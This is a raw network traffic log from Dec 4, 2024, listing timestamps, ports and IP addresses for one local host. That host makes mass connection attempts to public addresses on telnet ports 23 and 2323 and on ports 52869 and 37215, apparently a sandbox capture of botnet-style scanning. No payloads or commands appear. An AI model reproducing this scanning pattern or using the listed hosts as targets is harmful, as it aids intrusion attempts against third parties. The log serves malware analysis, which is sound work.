Dec 4, 2024 20:34:38.442112923 CET	46150	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:38.442411900 CET	23	50430	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.442517996 CET	50430	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.442528963 CET	52869	38464	156.110.11.142	192.168.2.14
Dec 4, 2024 20:34:38.442608118 CET	52869	38464	156.110.11.142	192.168.2.14
Dec 4, 2024 20:34:38.442871094 CET	41622	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.442915916 CET	52869	41840	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:38.442950010 CET	41840	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:38.443079948 CET	52869	41840	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:38.443152905 CET	52869	41840	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:38.443236113 CET	23	48982	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:38.443394899 CET	51036	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.443639040 CET	52869	54822	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:38.443656921 CET	52869	59414	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.443667889 CET	54822	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:38.443726063 CET	52869	59414	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.443902016 CET	39364	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.443944931 CET	52869	59998	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.443989992 CET	59998	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.444227934 CET	52869	56464	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:38.444372892 CET	52869	56464	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:38.444658995 CET	48982	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:38.444952011 CET	40356	52869	192.168.2.14	197.9.154.184
Dec 4, 2024 20:34:38.445005894 CET	52869	54822	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:38.445173979 CET	52869	54822	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:38.445439100 CET	49592	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:38.445694923 CET	52869	46150	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:38.445827961 CET	52869	46150	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:38.445925951 CET	35434	52869	192.168.2.14	156.14.52.238
Dec 4, 2024 20:34:38.446913004 CET	57480	52869	192.168.2.14	197.180.204.166
Dec 4, 2024 20:34:38.447561979 CET	37458	52869	192.168.2.14	197.78.171.20
Dec 4, 2024 20:34:38.448229074 CET	38248	52869	192.168.2.14	156.144.80.131
Dec 4, 2024 20:34:38.448889017 CET	36834	52869	192.168.2.14	197.75.6.220
Dec 4, 2024 20:34:38.449357033 CET	59998	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.486336946 CET	52869	34282	197.252.2.42	192.168.2.14
Dec 4, 2024 20:34:38.486416101 CET	52869	55812	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:38.504030943 CET	23	46566	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.504447937 CET	23	47192	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.504503012 CET	47192	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.504870892 CET	23	32846	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.504996061 CET	23	33470	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.505052090 CET	33470	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.505295038 CET	23	59430	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.505623102 CET	23	59566	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.505666971 CET	59566	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.506165028 CET	23	58748	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.506378889 CET	23	58904	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.506436110 CET	58904	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.507045984 CET	2323	37024	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.507072926 CET	2323	37662	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.507118940 CET	37662	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.507597923 CET	23	42426	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.507694006 CET	23	43064	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.507766962 CET	43064	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.508429050 CET	23	60938	19.29.83.143	192.168.2.14
Dec 4, 2024 20:34:38.513008118 CET	23	33504	170.27.80.233	192.168.2.14
Dec 4, 2024 20:34:38.513058901 CET	2323	43196	110.249.17.90	192.168.2.14
Dec 4, 2024 20:34:38.513092041 CET	23	46068	35.73.23.33	192.168.2.14
Dec 4, 2024 20:34:38.560934067 CET	52869	50966	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:38.560945034 CET	52869	56394	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:38.561001062 CET	56394	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:38.561038017 CET	52869	58824	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.561101913 CET	58824	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.561150074 CET	58824	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.561150074 CET	58824	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.561182022 CET	52869	56464	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:38.561642885 CET	58850	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.561752081 CET	52869	48640	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.561791897 CET	48640	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.562011957 CET	52869	59414	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.562072992 CET	48640	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.562072992 CET	48640	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.562376976 CET	48666	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.562619925 CET	52869	37204	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.562659025 CET	37204	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.562690973 CET	52869	46150	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:38.562808990 CET	37204	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.562808990 CET	37204	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.563034058 CET	23	50430	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.563112020 CET	37230	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.563411951 CET	52869	41622	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.563460112 CET	41622	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.563539028 CET	41622	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.563539982 CET	41622	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.563581944 CET	52869	41840	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:38.563838005 CET	41648	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.563844919 CET	23	51036	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.563886881 CET	51036	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.564052105 CET	52869	54822	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:38.564224958 CET	52869	39364	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.564270020 CET	39364	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.564299107 CET	39364	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.564299107 CET	39364	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.564454079 CET	52869	59998	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.564496994 CET	59998	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:38.564615011 CET	39388	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.564949989 CET	23	48982	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:38.569806099 CET	52869	59998	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:38.625701904 CET	23	47192	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.625798941 CET	47192	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.626142979 CET	23	33470	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.626183987 CET	47248	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.626214981 CET	33470	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.626668930 CET	33470	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.626812935 CET	23	59566	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.626996994 CET	33526	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.627425909 CET	59566	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.627470016 CET	23	58904	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.627713919 CET	59622	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.628163099 CET	58904	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.628355980 CET	2323	37662	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.628489971 CET	58960	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.628879070 CET	23	43064	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.628895998 CET	37662	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.629203081 CET	37718	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.629673004 CET	43064	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.629985094 CET	43120	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.682538986 CET	52869	58824	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.682689905 CET	52869	58824	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.682847977 CET	52869	58850	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.682895899 CET	58850	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.682919025 CET	58850	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.683111906 CET	52869	48640	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.683161974 CET	48640	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.683278084 CET	52869	48640	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.683415890 CET	52869	48640	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.683537960 CET	52869	48666	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.683589935 CET	48666	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.683599949 CET	48666	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.684107065 CET	52869	37204	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.684313059 CET	52869	37230	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.684326887 CET	52869	37204	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.684355021 CET	37230	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.684376001 CET	37230	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.684815884 CET	52869	41622	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.684828997 CET	52869	41622	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.684859991 CET	41622	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.684886932 CET	52869	41622	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.685195923 CET	52869	41648	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.685237885 CET	41648	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.685250044 CET	41648	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.685389042 CET	23	51036	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.685448885 CET	51036	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.685800076 CET	51076	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.685875893 CET	52869	39364	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.685936928 CET	52869	39364	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.686479092 CET	52869	39388	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.686523914 CET	39388	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.686539888 CET	39388	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.745906115 CET	23	47192	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.746222973 CET	23	47248	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.746362925 CET	47248	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.746778965 CET	23	33470	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.747107029 CET	23	33526	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.747149944 CET	33526	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.747525930 CET	23	59566	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.747739077 CET	23	59622	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.747782946 CET	59622	23	192.168.2.14	194.0.153.139
Dec 4, 2024 20:34:38.748162985 CET	23	58904	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.748393059 CET	23	58960	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.748435020 CET	58960	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:38.748682976 CET	2323	37662	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.749099970 CET	2323	37718	103.149.106.235	192.168.2.14
Dec 4, 2024 20:34:38.749141932 CET	37718	2323	192.168.2.14	103.149.106.235
Dec 4, 2024 20:34:38.749538898 CET	23	43064	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.750121117 CET	23	43120	18.34.173.70	192.168.2.14
Dec 4, 2024 20:34:38.750163078 CET	43120	23	192.168.2.14	18.34.173.70
Dec 4, 2024 20:34:38.802822113 CET	52869	48640	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.803002119 CET	52869	58850	156.59.157.82	192.168.2.14
Dec 4, 2024 20:34:38.803047895 CET	58850	52869	192.168.2.14	156.59.157.82
Dec 4, 2024 20:34:38.803590059 CET	52869	48666	156.30.12.54	192.168.2.14
Dec 4, 2024 20:34:38.803637981 CET	48666	52869	192.168.2.14	156.30.12.54
Dec 4, 2024 20:34:38.804397106 CET	52869	37230	156.234.101.94	192.168.2.14
Dec 4, 2024 20:34:38.804438114 CET	37230	52869	192.168.2.14	156.234.101.94
Dec 4, 2024 20:34:38.804707050 CET	52869	41622	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.805141926 CET	52869	41648	156.204.150.171	192.168.2.14
Dec 4, 2024 20:34:38.805179119 CET	23	51036	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.805181980 CET	41648	52869	192.168.2.14	156.204.150.171
Dec 4, 2024 20:34:38.805443048 CET	23	51076	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:38.805485010 CET	51076	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:38.806349993 CET	52869	39388	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.806368113 CET	52869	39388	197.136.84.15	192.168.2.14
Dec 4, 2024 20:34:38.806390047 CET	39388	52869	192.168.2.14	197.136.84.15
Dec 4, 2024 20:34:38.838238955 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:38.838238955 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:38.838252068 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:38.838258028 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:38.838258028 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:38.838258028 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:38.838270903 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:38.838274002 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:38.838275909 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:38.838279009 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:38.838284016 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:38.838289976 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:38.869129896 CET	23	47248	37.140.36.213	192.168.2.14
Dec 4, 2024 20:34:38.869409084 CET	47248	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.869945049 CET	47262	23	192.168.2.14	37.140.36.213
Dec 4, 2024 20:34:38.870044947 CET	23	33526	20.191.238.26	192.168.2.14
Dec 4, 2024 20:34:38.870206118 CET	33526	23	192.168.2.14	20.191.238.26
Dec 4, 2024 20:34:38.870347977 CET	60787	23	192.168.2.14	157.198.4.85
Dec 4, 2024 20:34:38.870348930 CET	60787	2323	192.168.2.14	67.97.243.94
Dec 4, 2024 20:34:38.870359898 CET	60787	23	192.168.2.14	119.253.76.176
Dec 4, 2024 20:34:38.870362997 CET	60787	23	192.168.2.14	85.14.177.62
Dec 4, 2024 20:34:38.870371103 CET	60787	23	192.168.2.14	147.164.242.216
Dec 4, 2024 20:34:38.870374918 CET	60787	23	192.168.2.14	182.190.51.84
Dec 4, 2024 20:34:38.870374918 CET	60787	23	192.168.2.14	142.160.149.30
Dec 4, 2024 20:34:38.870378971 CET	60787	23	192.168.2.14	34.60.90.121
Dec 4, 2024 20:34:38.870378971 CET	60787	23	192.168.2.14	211.210.126.97
Dec 4, 2024 20:34:38.870378971 CET	60787	23	192.168.2.14	121.206.25.93
Dec 4, 2024 20:34:38.870383024 CET	60787	23	192.168.2.14	2.81.224.95
Dec 4, 2024 20:34:38.870383024 CET	60787	2323	192.168.2.14	149.53.194.109
Dec 4, 2024 20:34:38.870383024 CET	60787	23	192.168.2.14	20.187.217.89
Dec 4, 2024 20:34:38.870387077 CET	60787	23	192.168.2.14	151.169.93.44
Dec 4, 2024 20:34:38.870387077 CET	60787	23	192.168.2.14	31.124.108.159
Dec 4, 2024 20:34:38.870388985 CET	60787	23	192.168.2.14	179.134.165.203
Dec 4, 2024 20:34:38.870397091 CET	60787	23	192.168.2.14	91.192.155.85
Dec 4, 2024 20:34:38.870398998 CET	60787	23	192.168.2.14	172.251.168.138
Dec 4, 2024 20:34:38.870403051 CET	60787	23	192.168.2.14	153.54.117.154
Dec 4, 2024 20:34:38.870409012 CET	60787	23	192.168.2.14	185.65.74.181
Dec 4, 2024 20:34:38.870414019 CET	60787	2323	192.168.2.14	197.198.100.201
Dec 4, 2024 20:34:38.870419025 CET	60787	23	192.168.2.14	152.57.93.214
Dec 4, 2024 20:34:38.870424032 CET	23	59622	194.0.153.139	192.168.2.14
Dec 4, 2024 20:34:38.870424986 CET	60787	23	192.168.2.14	152.75.12.116
Dec 4, 2024 20:34:38.870445013 CET	60787	23	192.168.2.14	196.183.138.121
Dec 4, 2024 20:34:38.870446920 CET	60787	23	192.168.2.14	90.73.142.129
Dec 4, 2024 20:34:38.870446920 CET	60787	23	192.168.2.14	167.6.195.219
Dec 4, 2024 20:34:38.870461941 CET	60787	23	192.168.2.14	135.51.193.48
Dec 4, 2024 20:34:38.870465994 CET	60787	23	192.168.2.14	80.146.217.1
Dec 4, 2024 20:34:38.870469093 CET	60787	23	192.168.2.14	18.53.6.144
Dec 4, 2024 20:34:38.870479107 CET	60787	23	192.168.2.14	178.55.141.139
Dec 4, 2024 20:34:38.870481014 CET	60787	2323	192.168.2.14	94.239.99.116
Dec 4, 2024 20:34:38.870500088 CET	60787	23	192.168.2.14	9.15.187.171
Dec 4, 2024 20:34:38.870500088 CET	60787	23	192.168.2.14	105.216.76.106
Dec 4, 2024 20:34:38.870500088 CET	60787	23	192.168.2.14	41.126.201.140
Dec 4, 2024 20:34:38.870500088 CET	60787	23	192.168.2.14	37.213.33.72
Dec 4, 2024 20:34:38.870518923 CET	60787	23	192.168.2.14	67.254.67.128
Dec 4, 2024 20:34:38.870526075 CET	60787	23	192.168.2.14	204.208.83.80
Dec 4, 2024 20:34:38.870527983 CET	60787	23	192.168.2.14	189.36.153.44
Dec 4, 2024 20:34:38.870532990 CET	60787	23	192.168.2.14	37.222.116.194
Dec 4, 2024 20:34:38.870532990 CET	60787	23	192.168.2.14	74.113.253.131
Dec 4, 2024 20:34:38.870533943 CET	60787	23	192.168.2.14	108.33.90.47
Dec 4, 2024 20:34:38.870533943 CET	60787	2323	192.168.2.14	75.3.84.12
Dec 4, 2024 20:34:38.870536089 CET	60787	23	192.168.2.14	170.40.133.236
Dec 4, 2024 20:34:38.870536089 CET	60787	23	192.168.2.14	4.185.230.214
Dec 4, 2024 20:34:38.870541096 CET	60787	23	192.168.2.14	211.65.80.106
Dec 4, 2024 20:34:38.870548010 CET	60787	23	192.168.2.14	83.251.47.79
Dec 4, 2024 20:34:38.870548964 CET	60787	23	192.168.2.14	125.92.89.192
Dec 4, 2024 20:34:38.870552063 CET	60787	23	192.168.2.14	125.37.33.102
Dec 4, 2024 20:34:38.870564938 CET	60787	23	192.168.2.14	53.90.73.17
Dec 4, 2024 20:34:38.870568991 CET	60787	23	192.168.2.14	67.76.209.13
Dec 4, 2024 20:34:38.870569944 CET	60787	2323	192.168.2.14	2.9.182.76
Dec 4, 2024 20:34:38.870573997 CET	60787	23	192.168.2.14	174.239.253.198
Dec 4, 2024 20:34:38.870588064 CET	60787	23	192.168.2.14	182.137.82.166
Dec 4, 2024 20:34:38.870593071 CET	60787	23	192.168.2.14	5.211.249.77
Dec 4, 2024 20:34:38.870598078 CET	60787	23	192.168.2.14	63.90.63.134
Dec 4, 2024 20:34:38.870598078 CET	60787	23	192.168.2.14	4.120.110.194
Dec 4, 2024 20:34:38.870604992 CET	60787	23	192.168.2.14	199.120.71.44
Dec 4, 2024 20:34:38.870615959 CET	60787	23	192.168.2.14	181.56.206.191
Dec 4, 2024 20:34:38.870618105 CET	60787	23	192.168.2.14	40.186.66.164
Dec 4, 2024 20:34:38.870624065 CET	60787	23	192.168.2.14	144.30.161.97
Dec 4, 2024 20:34:38.870626926 CET	60787	2323	192.168.2.14	24.39.26.80
Dec 4, 2024 20:34:38.870628119 CET	60787	23	192.168.2.14	122.67.75.178
Dec 4, 2024 20:34:38.870652914 CET	60787	23	192.168.2.14	184.21.173.114
Dec 4, 2024 20:34:38.870661020 CET	60787	23	192.168.2.14	98.116.84.159
Dec 4, 2024 20:34:38.870661020 CET	60787	23	192.168.2.14	152.44.40.46
Dec 4, 2024 20:34:38.870661020 CET	60787	23	192.168.2.14	86.249.189.123
Dec 4, 2024 20:34:38.870661974 CET	60787	23	192.168.2.14	217.142.107.91
Dec 4, 2024 20:34:38.870662928 CET	60787	23	192.168.2.14	166.246.147.164
Dec 4, 2024 20:34:38.870663881 CET	60787	23	192.168.2.14	69.9.101.154
Dec 4, 2024 20:34:38.870665073 CET	60787	23	192.168.2.14	35.23.100.16
Dec 4, 2024 20:34:38.870666027 CET	60787	23	192.168.2.14	210.241.70.41
Dec 4, 2024 20:34:38.870666027 CET	60787	23	192.168.2.14	77.166.68.50
Dec 4, 2024 20:34:38.870666027 CET	60787	2323	192.168.2.14	189.178.61.60
Dec 4, 2024 20:34:38.870673895 CET	60787	23	192.168.2.14	167.147.214.0
Dec 4, 2024 20:34:38.870673895 CET	60787	23	192.168.2.14	98.241.58.112
Dec 4, 2024 20:34:38.870675087 CET	60787	2323	192.168.2.14	178.96.126.135
Dec 4, 2024 20:34:38.870676041 CET	60787	23	192.168.2.14	124.118.12.52
Dec 4, 2024 20:34:38.870673895 CET	60787	23	192.168.2.14	17.147.30.127
Dec 4, 2024 20:34:38.870676994 CET	60787	23	192.168.2.14	153.240.27.16
Dec 4, 2024 20:34:38.870676994 CET	60787	23	192.168.2.14	208.79.126.175
Dec 4, 2024 20:34:38.870683908 CET	60787	23	192.168.2.14	156.103.211.18
Dec 4, 2024 20:34:38.870685101 CET	60787	23	192.168.2.14	179.213.165.185
Dec 4, 2024 20:34:38.870685101 CET	60787	23	192.168.2.14	171.27.113.12
Dec 4, 2024 20:34:38.870687008 CET	60787	23	192.168.2.14	86.119.74.4
Dec 4, 2024 20:34:38.870687008 CET	60787	23	192.168.2.14	119.111.162.163
Dec 4, 2024 20:34:38.870692968 CET	60787	23	192.168.2.14	37.225.16.216
Dec 4, 2024 20:34:38.870695114 CET	60787	23	192.168.2.14	208.251.252.235
Dec 4, 2024 20:34:38.870696068 CET	60787	23	192.168.2.14	31.239.229.81
Dec 4, 2024 20:34:38.870697975 CET	60787	23	192.168.2.14	169.180.44.63
Dec 4, 2024 20:34:38.870702982 CET	60787	23	192.168.2.14	196.164.138.118
Dec 4, 2024 20:34:38.870703936 CET	60787	23	192.168.2.14	42.215.31.101
Dec 4, 2024 20:34:38.870711088 CET	60787	2323	192.168.2.14	14.62.214.191
Dec 4, 2024 20:34:38.870744944 CET	60787	23	192.168.2.14	112.124.22.206
Dec 4, 2024 20:34:38.870745897 CET	60787	23	192.168.2.14	82.176.188.170
Dec 4, 2024 20:34:38.870763063 CET	60787	23	192.168.2.14	35.241.75.1
Dec 4, 2024 20:34:38.870763063 CET	60787	23	192.168.2.14	156.91.196.137
Dec 4, 2024 20:34:38.870765924 CET	60787	23	192.168.2.14	209.56.56.115
Dec 4, 2024 20:34:38.870779037 CET	60787	23	192.168.2.14	162.16.39.111
Dec 4, 2024 20:34:38.870779037 CET	60787	23	192.168.2.14	176.9.65.47
Dec 4, 2024 20:34:38.870781898 CET	60787	23	192.168.2.14	36.187.206.77
Dec 4, 2024 20:34:38.870786905 CET	60787	2323	192.168.2.14	182.155.74.118
Dec 4, 2024 20:34:38.870790005 CET	60787	23	192.168.2.14	156.212.83.50
Dec 4, 2024 20:34:38.870790005 CET	60787	23	192.168.2.14	18.250.95.31
Dec 4, 2024 20:34:38.870805025 CET	60787	23	192.168.2.14	192.222.208.180
Dec 4, 2024 20:34:38.870805979 CET	60787	23	192.168.2.14	2.242.95.220
Dec 4, 2024 20:34:38.870811939 CET	60787	23	192.168.2.14	183.124.15.124
Dec 4, 2024 20:34:38.870825052 CET	60787	23	192.168.2.14	66.144.231.118
Dec 4, 2024 20:34:38.870825052 CET	60787	23	192.168.2.14	191.250.230.52
Dec 4, 2024 20:34:38.870826960 CET	60787	23	192.168.2.14	218.1.232.227
Dec 4, 2024 20:34:38.870841026 CET	60787	23	192.168.2.14	200.161.103.90
Dec 4, 2024 20:34:38.870841026 CET	60787	2323	192.168.2.14	208.7.135.208
Dec 4, 2024 20:34:38.870842934 CET	60787	23	192.168.2.14	169.29.213.140
Dec 4, 2024 20:34:38.870846033 CET	60787	23	192.168.2.14	186.156.30.143
Dec 4, 2024 20:34:38.870860100 CET	60787	23	192.168.2.14	117.216.192.49
Dec 4, 2024 20:34:38.870865107 CET	60787	23	192.168.2.14	142.29.98.247
Dec 4, 2024 20:34:38.870870113 CET	60787	23	192.168.2.14	145.96.54.99
Dec 4, 2024 20:34:38.870870113 CET	60787	23	192.168.2.14	159.165.109.113
Dec 4, 2024 20:34:38.870870113 CET	60787	23	192.168.2.14	92.165.176.37
Dec 4, 2024 20:34:38.870872021 CET	60787	23	192.168.2.14	115.3.166.23
Dec 4, 2024 20:34:38.870879889 CET	60787	23	192.168.2.14	210.228.119.179
Dec 4, 2024 20:34:38.870893002 CET	60787	2323	192.168.2.14	161.179.194.90
Dec 4, 2024 20:34:38.870893955 CET	60787	23	192.168.2.14	105.96.18.254
Dec 4, 2024 20:34:38.870894909 CET	60787	23	192.168.2.14	204.189.107.60
Dec 4, 2024 20:34:38.870901108 CET	60787	23	192.168.2.14	169.248.131.247
Dec 4, 2024 20:34:38.870901108 CET	60787	23	192.168.2.14	5.222.46.112
Dec 4, 2024 20:34:38.870906115 CET	60787	23	192.168.2.14	17.219.223.51
Dec 4, 2024 20:34:38.870906115 CET	60787	23	192.168.2.14	163.156.83.99
Dec 4, 2024 20:34:38.870913982 CET	60787	23	192.168.2.14	63.164.74.252
Dec 4, 2024 20:34:38.870913982 CET	60787	23	192.168.2.14	211.1.149.252
Dec 4, 2024 20:34:38.870928049 CET	23	58960	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:38.870933056 CET	60787	2323	192.168.2.14	156.140.60.131
Dec 4, 2024 20:34:38.870934963 CET	60787	23	192.168.2.14	171.200.168.59
Dec 4, 2024 20:34:38.870934963 CET	60787	23	192.168.2.14	178.123.150.53
Dec 4, 2024 20:34:38.870939016 CET	60787	23	192.168.2.14	221.192.176.25
Dec 4, 2024 20:34:38.870953083 CET	60787	23	192.168.2.14	74.82.127.231
Dec 4, 2024 20:34:38.870953083 CET	60787	23	192.168.2.14	31.227.66.146
